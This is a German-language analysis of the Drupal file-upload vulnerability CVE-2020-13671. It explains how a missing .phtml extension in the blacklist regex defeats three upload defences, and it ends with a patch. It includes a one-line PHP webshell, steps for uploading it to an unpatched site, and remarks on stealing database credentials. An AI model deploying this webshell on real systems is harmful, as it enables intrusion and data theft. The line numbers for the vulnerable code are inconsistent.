
CVE-2020-13671 - Drupal-RCE über Datei-Upload: Schwachstellenanalyse und PoC
Software: Drupal Core 8.7.5 (Betroffen: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Hoch)
CWE: CWE-434 — Uneingeschränkter Upload einer Datei mit gefährlichem Typ
CISA KEV: Ja — Bekannte ausgenutzte Schwachstelle
Advisory: SA-CORE-2020-012
Drupal ist ein Open-Source-Content-Management-System (CMS), das in PHP geschrieben ist, ähnlich wie WordPress oder Joomla, aber eher auf den Aufbau komplexerer Systeme ausgerichtet ist — Unternehmenswebsites, mehrsprachige Plattformen. Drupal verwendet eine modulare Architektur, die es ermöglicht, die Funktionalität durch Aktivieren/Deaktivieren verfügbarer Module oder durch Installation zusätzlicher Module aus der Community zu erweitern.
Eine der grundlegenden Funktionen eines jeden CMS ist es, Benutzern das Hochladen von Dateien zu ermöglichen — Profil-Avatare, angehängte Dokumente, Anhänge in Artikeln. Drupal speichert diese Dateien im Verzeichnis sites/default/files/ und stellt sie direkt über den Webserver (Apache oder Nginx) bereit.
⇒ Dies schafft eine klare Angriffsfläche: Wenn es einem Angreifer gelingt, eine PHP-Datei in dieses Verzeichnis hochzuladen, führt der Webserver sie aus, sobald sie über eine eingehende Anfrage aufgerufen wird.
Um dies zu verhindern, baut Drupal mehrere Verteidigungsebenen auf: Validierung von Dateiendungen, Umbenennen gefährlicher Dateien, Platzieren einer .htaccess, um die Skriptausführung im Upload-Verzeichnis zu blockieren. Aber in Version 8.7.5 nutzen Angreifer genau diesen blinden Fleck in diesen Ebenen aus.
Diese Schwachstelle erfordert ein Konto mit Datei-Upload-Berechtigungen. Standardmäßig haben normale Benutzer (Authentifiziert) in Drupal 8.7.5 nur die Berechtigung, Inhalte anzusehen und Kommentare zu posten — keine Berechtigung, Artikel zu erstellen oder Dateien hochzuladen.
| Konto | Ausnutzbar? | Erklärung |
|---|---|---|
| Admin | Ja | Volle Upload-Berechtigungen |
| Editor / Inhaltsersteller | Ja | Falls die Berechtigung „Inhalt erstellen“ mit Upload durch Admin erteilt wurde |
| Authentifizierter Benutzer (Standard) | Nein | Hat standardmäßig keine Berechtigung, Inhalte zu erstellen oder hochzuladen |
| Anonym (nicht angemeldet) | Nein | Keine Upload-Berechtigung |
In der Praxis gewähren jedoch viele Drupal-Seiten normalen Benutzern die Berechtigung zur Inhaltserstellung (Foren, Community-Blogs, Nachrichtenseiten, die Artikeleinreichungen ermöglichen). In solchen Fällen muss sich ein Angreifer nur ein Konto registrieren, um die Schwachstelle auszunutzen.
Angriffsablauf:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
In der Datei core/modules/file/file.module gibt es einen einzigen Regex, der festlegt, welche Dateien als ausführbar gelten:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Dieser Regex listet 7 Dateiendungen auf: phar, php, pl, py, cgi, asp, js. Jede Datei mit einer Dateiendung, die in dieser Liste vorkommt, wird von Drupal automatisch um .txt ergänzt — wodurch die Ausführbarkeit neutralisiert wird.
Die PHP-Engine verarbeitet jedoch nicht nur .php-Dateien. Abhängig von der Webserver-Konfiguration erkennt und führt sie auch andere Dateiendungen aus:
| Dateiendung | Bedeutung | Im Regex enthalten? |
|---|---|---|
.php | PHP-Standard | Ja |
.phtml | Alternative PHP-Vorlage | Nein |
.php5 | PHP-5-Handler | Nein |
.pht | PHP-Vorlage | Nein |
.phps | PHP-Quellcode | Nein |
.shtml | Server-seitige Includes | Nein |
5 PHP-Dateiendungsvarianten fehlen vollständig im Regex. Das bedeutet: Eine Datei namens shell.phtml, die an Drupal gesendet wird → Regex stimmt nicht überein → wird nicht umbenannt → wird unter ihrem ursprünglichen Namen im Upload-Verzeichnis gespeichert → der Webserver sieht .phtml → führt sie als PHP aus → der Angreifer erreicht RCE. Das ist die Grundursache: Drupal verwendete eine Blacklist, um gefährliche Dateiendungen zu blockieren, aber diese Liste war unvollständig.
Wenn ein Benutzer eine Datei hochlädt, leitet Drupal sie vor dem Speichern durch 3 Validierungsfunktionen. Im Folgenden wird analysiert, warum alle 3 bei .phtml versagen.
file_munge_filename() (core/includes/file.inc)Zweck: Gefährliche Dateiendungen erkennen, die in der Mitte des Dateinamens liegen, und _ anhängen, um sie zu unterbrechen. So funktioniert die Funktion:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Zum Beispiel bei shell.phtml:
explode teilt in ["shell", "phtml"] aufshift nimmt "shell", übrig bleibt ["phtml"]pop nimmt "phtml", übrig bleibt []foreach wird nicht ausgeführt"shell.phtml" unverändert zurückWenn die Datei jedoch nur eine einzige Dateiendung hat, greift sie nicht ein. Diese Funktion ist also nur dafür ausgelegt, Dateien mit mehreren Dateiendungen zu behandeln.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Dies ist die Hauptverteidigungsebene. Code in Zeile 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Wenn der Dateiname dem Regex entspricht → MIME auf text/plain ändern und .txt am Ende anhängen.
Bei shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') gibt 0 zurück.phtml gefährlich ist, rutscht sie direkt durch..htaccess im Upload-VerzeichnisDrupal platziert eine .htaccess-Datei in sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
Die Direktive php_flag engine off schaltet die PHP-Engine für das gesamte Verzeichnis ab, gilt jedoch nur für mod_php5. Drupal 8.7.5 läuft auf PHP 7, was bedeutet, dass mod_php7 aktiv und nicht deaktiviert ist.
Und .htaccess hat außerdem 3 weitere Schwächen:
.htaccess nicht — diese Datei ist auf Nginx völlig wirkungslosAllowOverride None konfiguriert → .htaccess wird ignoriertmod_php verwenden → die Direktive php_flag hat keine Wirkungecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Melden Sie sich bei Drupal mit einem Konto an, das Upload-Berechtigungen besitzt → Inhalt → Inhalt hinzufügen → Artikel → im Bildfeld die Datei webshell.phtml auswählen → Hochladen.
Drupal akzeptiert die Datei, benennt sie nicht um und speichert sie unter ihrem ursprünglichen Namen in sites/default/files/.

Danach den Shell-Aufruf mit whoami ausführen:

Damit haben wir erfolgreich RCE als www-data erreicht.
Weiter testen, um Anmeldedaten anzuzeigen:

Der Angreifer kann settings.php mit den Datenbank-Anmeldedaten lesen, die gesamte DB dumpen, eine Reverse Shell installieren oder Privilegien auf root ausweiten.
Regex aktualisieren — die 5 fehlenden Dateiendungen hinzufügen:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccess aktualisieren — Deaktivierung für mod_php7 hinzufügen:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
Der Patch funktioniert, verlässt sich aber weiterhin auf eine Blacklist. Wenn in Zukunft neue Dateiendungen auftauchen (.php8, .phpt), muss der Regex erneut aktualisiert werden. Eine Whitelist — die nur bekannte sichere Dateiendungen zulässt — wäre ein gründlicherer Ansatz.
| Verwundbare Datei | core/modules/file/file.module Zeile 28 |
|---|---|
| Grundursache | Der Regex-Blacklist fehlen .phtml, .php5, .pht, .phps, .shtml |
| Auswirkung | Upload .phtml → Server führt aus → RCE |
| 3 umgangene Verteidigungsebenen | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Patch | 5 Dateiendungen zum Regex hinzufügen + mod_php7 in .htaccess deaktivieren |